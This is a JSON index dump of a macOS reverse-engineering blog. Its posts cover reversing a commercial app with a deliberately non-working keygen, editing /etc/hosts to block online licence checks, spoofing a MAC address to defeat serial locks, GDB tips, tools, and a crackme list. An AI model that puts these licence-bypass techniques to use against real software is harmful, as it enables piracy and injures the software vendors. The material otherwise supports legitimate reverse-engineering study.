files:\nyou-control-desktops-tutorial.txt\nkeygen.c\nDecrypt.c\nunobfuscate.txt\ndata.txt\nUpdate: Rename unobfuscate.txt to unobfuscate.pl after you download it or run with perl unobfuscate.txt.\nUpdate 2: Compile keygen and decrypt with -lcrypto gcc option to link against OpenSSL libraries.\nUpdate 3: While trying to keygen PTHPasteboard found a bug with BIO_get_mem_data because it doesn’t NULL terminate. So garbage was written to the licence file.\nGrab the updated version (you still need to fix the on purpose error): keygen-youcontrol.nonworking.c.\n","permalink":"https://reverse.put.as/2008/03/17/reversing-you-control-desktops-v12/","summary":"This is my first Mac OS X reversing tutorial. Target is You Control Desktops, which revealed itself a very nice target to reverse.\nDownload the files below and I hope you learn something from it.\nThere’s no interest whatsoever in piracy, but only in learning and improving things. What you do with this information is YOUR responsability.\nThe keygen (and decrypt.c) make a nice example of OpenSSL API usage. Keygen is non working.","title":"Reversing You Control Desktops v1.2"},{"content":"It’s useful to change /etc/hosts, especially with protections requesting online keys. After editing /etc/hosts you need to refresh OS X NetInfo Database. Just run the following command:\n$ sudo niload -v -m hosts . \u0026lt; /etc/hosts And then flush cache with:\n$ lookupd -flushcache For Snow Leopard the command has changed. It is now:\n$ dscacheutil -flushcache And that’s it!\n","permalink":"https://reverse.put.as/2008/02/02/how-to-change-etchosts/","summary":"It’s useful to change /etc/hosts, especially with protections requesting online keys. After editing /etc/hosts you need to refresh OS X NetInfo Database. Just run the following command:\n$ sudo niload -v -m hosts . \u0026lt; /etc/hosts And then flush cache with:\n$ lookupd -flushcache For Snow Leopard the command has changed. It is now:\n$ dscacheutil -flushcache And that’s it!","title":"How to change /etc/hosts"},{"content":"Since there are programs with serial numbers tied to network card MAC address it might be useful to change it.\nThere are some fancy GUI programs for this but it’s faster from terminal:\n# ifconfig en0 lladdr X:XX:XX:XX:XX:XX And that’s it…\n","permalink":"https://reverse.put.as/2007/12/28/change-network-card-mac-address/","summary":"Since there are programs with serial numbers tied to network card MAC address it might be useful to change it.\nThere are some fancy GUI programs for this but it’s faster from terminal:\n# ifconfig en0 lladdr X:XX:XX:XX:XX:XX And that’s it…","title":"Change network card MAC address"},{"content":"You can see code like this in GDB:\n0x3001ce2b : movzx edx,BYTE PTR [ebp-80] \u0026lt;- 80 is decimal 0x3001ce2f : mov eax,DWORD PTR [ebx+0x206c2] \u0026lt;- 0x206c2 is hexadecimal If you try to do a x/x $ebp-80, you will get the wrong address because the default input radix is hexadecimal and not decimal.\nBut in the next line, it’s hexadecimal. I haven’t searched much about this, but it seems the decimal is used due to alignment. The “fix” is to change the input radix or convert the 80 to hexadecimal. I prefer to change the radix to the correct one, dump the value and then change back to hexa if I need. Yeah I’m lazy !\nFrom GDB manual:\nYou can always enter numbers in octal, decimal, or hexadecimal in GDB by the usual conventions: octal numbers begin with ‘0’, decimal numbers end with ‘.’, and hexadecimal numbers begin with ‘0x’. Numbers that begin with none of these are, by default, entered in base 10; likewise, the default display for numbers–when no particular format is specified–is base 10. You can change the default base for both input and output with the set radix command. set input-radix base Set the default base for numeric input. Supported choices for base are decimal 8, 10, or 16. base must itself be specified either unambiguously or using the current default radix; for example, any of\nset radix 012\nset radix 10\nset radix 0xa\nsets the base to decimal. On the other hand, set radix 1 leaves the radix unchanged no matter what it was.\nset output-radix base\nSet the default base for numeric display. Supported choices for base are decimal 8, 10, or 16. base must itself be specified either unambiguously or using the current default radix.\nshow input-radix\nDisplay the current default base for numeric input.\nshow output-radix\nDisplay the current default base for numeric display.\n","permalink":"https://reverse.put.as/2007/10/18/gdb-input-radix-option/","summary":"You can see code like this in GDB:\n0x3001ce2b : movzx edx,BYTE PTR [ebp-80] \u0026lt;- 80 is decimal 0x3001ce2f : mov eax,DWORD PTR [ebx+0x206c2] \u0026lt;- 0x206c2 is hexadecimal If you try to do a x/x $ebp-80, you will get the wrong address because the default input radix is hexadecimal and not decimal.\nBut in the next line, it’s hexadecimal. I haven’t searched much about this, but it seems the decimal is used due to alignment.","title":"GDB input radix option"},{"content":"A work in progress list\u0026hellip;\nOtx – Graphical frontend for otool, the disassembler. http://otx.osxninja.com/ Burp Suite, Paros, Webscarab – web application assessment tools, including proxies (useful to sniff those online updates and registration schemes). http://research.corsaire.com/tools/ HexFiend – Hex Editor. http://ridiculousfish.com/hexfiend/ ","permalink":"https://reverse.put.as/2007/10/14/must-have-tools/","summary":"A work in progress list\u0026hellip;\nOtx – Graphical frontend for otool, the disassembler. http://otx.osxninja.com/ Burp Suite, Paros, Webscarab – web application assessment tools, including proxies (useful to sniff those online updates and registration schemes). http://research.corsaire.com/tools/ HexFiend – Hex Editor. http://ridiculousfish.com/hexfiend/ ","title":"Must have tools"},{"content":"Welcome ! This is my corner dedicated to reverse engineering, malware, rootkits, and security. Content is mostly dedicated to macOS.\nMy objective is to learn more about macOS and spread knowledge about whatever I find. Pursuit of knowledge, not illegal stuff!\nInformation can be used for good and for evil. If you are the copyright owner of any program/protection mentioned here and want the information removed please contact me.\nContact information:\nIRC: irc.libera.chat – #osxre Twitter: @osxreverser Mastodon: @osxreverser Email: reverser a@t put.as or reverser@iloverootkits.com All the source code is available at Github, https://github.com/gdbinit.\nMy PGP key fingerprint is: 7B05 44D1 A1D5 3078 7F4C E745 9BB7 2A44 ED41 BF05.\nThe public key is also available here.\nUpdate:\nI have a new and modern GPG key available here.\nIts fingerprint is 9CCB 9878 6EBE 931C EEDA 807C FD1D 201A E7CD 23FD.\nThe linked keyfile is signed with the old one so you can verify it before importing. It should be signed and available on main key servers already.\nPlease use the new one for any communications. All new Github code commits will be signed with the new subkeys.\nFeel free to contact me!\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/about/","summary":"Welcome ! This is my corner dedicated to reverse engineering, malware, rootkits, and security. Content is mostly dedicated to macOS.\nMy objective is to learn more about macOS and spread knowledge about whatever I find. Pursuit of knowledge, not illegal stuff!\nInformation can be used for good and for evil. If you are the copyright owner of any program/protection mentioned here and want the information removed please contact me.\nContact information:","title":"About"},{"content":"A collection of crackmes for OS X. Send them to me if you have new ones to add!\nUser submitted (keep’em coming!):\nCrackMe_nr1_qwertyoruiop.app.zip\nSHA256(CrackMe_nr1_qwertyoruiop.app.zip)= 9a09b12b29f5a76a70dcaa863f777eaceaba68e10d51e20df3ca213df4ac4fcc\nNighthawk_CrackMe.zip\nSHA256(Nighthawk_CrackMe.zip)= 5b9005b954d7ac8da40883e5fa78b180ea90f3d526918b22ca9ee84db9b34ad6\nnilbytesCrackMe.zip\nSHA256(nilbytesCrackMe.zip)= 22288b4038dc2044cd8bbb5b801c224fb55b2822fb4cbec1b4ed39bb9356b520\nCrackMe.1.by.James.Moriarty.zip\nSHA256(CrackMe.1.by.James.Moriarty.zip)= 266059c011736754ba1548bca85a3b86393c946fabbae0163a735a5af0597470\ncykeycrackme_1.app.zip\nSHA256(cykeycrackme_1.app.zip)= 6f7bc96cd8d774e71aa05cbb3c066f8be8ec78e5d917589b28c9f1e7a4708be5\nFrom MSJ 2009 contest:\nMSJ2009#1.zip\n(SHA1(MSJ2009#1.zip)= ed1e7ef4cc2d64cedbdaa85757371be5dae3aecb)\nMSJ2009#2.zip\n(SHA1(MSJ2009#2.zip)= 47685aab5f43c064e4b24903f868df1100461ed7)\nMSJ2009#3.zip\n(SHA1(MSJ2009#3.zip)= 6eaa7a552ff16320465f40708c9a576bc2f45a51)\nMSJ2009#4.zip\n(SHA1(MSJ2009#4.zip)= 704fc7a23b05f923d46d83779aa21fb8e01b672a)\nMSJ2009#5.zip\nSHA1(MSJ2009#5.zip)= d658112201949386f025725f1582bf3ef5f73e6a\nFrom HAWKE (someone left the link in the comments, I haven’t tried them yet but the code seems safe):\n1-Sandwich.zip\n(SHA1(1-Sandwich.zip)= f9b33d549dbb1a4643302f95dc5bc354394d0651)\n2-Unicorn.zip\n(SHA1(2-Unicorn.zip)= 4c7ce2bbb09588e1b221693946eeb7f3bbdc55eb)\n3-Fox.zip\n(SHA1(3-Fox.zip)= 198bc0d61b2128253540430d3c3479b48a0ea6bd)\n4-Socks.zip\n(SHA1(4-Socks.zip)= 94e96302a5120c174091e6913ede65cdd21092b5)\nFrom Corruptfire.com:\nboolRegistered.app.zip\n(SHA1(boolRegistered.app.zip)= 7f220ed8c72ddf2a17ea8841801dde0b4569ffa7)\nDeadSimple.zip\n(SHA1(DeadSimple.zip)= 0dc117ebb348253eb678e507ba775a3832810a84)\nFiveNiner.zip\n(SHA1(FiveNiner.zip)= b076d0018628ee933cc4d953c403d1519b83e3e0)\nSmellsGood.zip\n(SHA1(SmellsGood.zip)= 1a6162a89d1b33001438ef1d2900771490c496fd)\nFrom MacSerialJunkies 2010 Contest:\nPie.zip\n(SHA1(Pie.zip)= 50930794ef1fbd8fe72dfbb1fa5aba50b799d460)\n","permalink":"https://reverse.put.as/crackmes/","summary":"A collection of crackmes for OS X. Send them to me if you have new ones to add!\nUser submitted (keep’em coming!):\nCrackMe_nr1_qwertyoruiop.app.zip\nSHA256(CrackMe_nr1_qwertyoruiop.app.zip)= 9a09b12b29f5a76a70dcaa863f777eaceaba68e10d51e20df3ca213df4ac4fcc\nNighthawk_CrackMe.zip\nSHA256(Nighthawk_CrackMe.zip)= 5b9005b954d7ac8da40883e5fa78b180ea90f3d526918b22ca9ee84db9b34ad6\nnilbytesCrackMe.zip\nSHA256(nilbytesCrackMe.zip)= 22288b4038dc2044cd8bbb5b801c224fb55b2822fb4cbec1b4ed39bb9356b520\nCrackMe.1.by.James.Moriarty.zip\nSHA256(CrackMe.1.by.James.Moriarty.zip)= 266059c011736754ba1548bca85a3b86393c946fabbae0163a735a5af0597470\ncykeycrackme_1.app.zip\nSHA256(cykeycrackme_1.app.zip)= 6f7bc96cd8d774e71aa05cbb3c066f8be8ec78e5d917589b28c9f1e7a4708be5\nFrom MSJ 2009 contest:\nMSJ2009#1.zip\n(SHA1(MSJ2009#1.zip)= ed1e7ef4cc2d64cedbdaa85757371be5dae3aecb)\nMSJ2009#2.zip\n(SHA1(MSJ2009#2.zip)= 47685aab5f43c064e4b24903f868df1100461ed7)\nMSJ2009#3.zip\n(SHA1(MSJ2009#3.zip)= 6eaa7a552ff16320465f40708c9a576bc2f45a51)\nMSJ2009#4.zip\n(SHA1(MSJ2009#4.zip)= 704fc7a23b05f923d46d83779aa21fb8e01b672a)\nMSJ2009#5.zip\nSHA1(MSJ2009#5.zip)= d658112201949386f025725f1582bf3ef5f73e6a\nFrom HAWKE (someone left the link in the comments, I haven’t tried them yet but the code seems safe):","title":"Crackmes"},{"content":"You can find all the patches included in the GDB-NG project at Github.com\nThis is a quick reference page for all my published patches.\nGDB:\nall_patches_v0.3.patch.gz\n(SHA256(all_patches_v0.3.patch.gz)= 38a891327b14b94d73b7e6f5ef66b4848df03a59a8bac5e89b93869046078608)\nall_patches.patch\n(SHA1(all_patches.patch)= 74ee59cc213202d2d99c11ca8cde841890a7c7b6)\nnumber_sects_anti_debug.patch\n(SHA1(number_sects_anti_debug.patch)= 628498adc71b91447ba8860cec3829acf0eb7f46)\ngdbinit_problem.patch\n(SHA1(gdbinit_problem.patch)= efd8ab19d2675d601f02aa7f3b7ca21a9bee7704)\nshow_raw_bytes.patch\n(SHA1(show_raw_bytes.patch)= 6ba57a401c1d3c0f6d7b31743da79ec63603752e)\ncommands_bug.patch.gz\n(SHA256(commands_bug.patch.gz)= b84be03e73a5a5ada59ab8b7fbd595e531fe149446418750d5d747d6598aa6a0)\n","permalink":"https://reverse.put.as/patches/","summary":"You can find all the patches included in the GDB-NG project at Github.com\nThis is a quick reference page for all my published patches.\nGDB:\nall_patches_v0.3.patch.gz\n(SHA256(all_patches_v0.3.patch.gz)= 38a891327b14b94d73b7e6f5ef66b4848df03a59a8bac5e89b93869046078608)\nall_patches.patch\n(SHA1(all_patches.patch)= 74ee59cc213202d2d99c11ca8cde841890a7c7b6)\nnumber_sects_anti_debug.patch\n(SHA1(number_sects_anti_debug.patch)= 628498adc71b91447ba8860cec3829acf0eb7f46)\ngdbinit_problem.patch\n(SHA1(gdbinit_problem.patch)= efd8ab19d2675d601f02aa7f3b7ca21a9bee7704)\nshow_raw_bytes.patch\n(SHA1(show_raw_bytes.patch)= 6ba57a401c1d3c0f6d7b31743da79ec63603752e)\ncommands_bug.patch.gz\n(SHA256(commands_bug.patch.gz)= b84be03e73a5a5ada59ab8b7fbd595e531fe149446418750d5d747d6598aa6a0)","title":"Patches"}]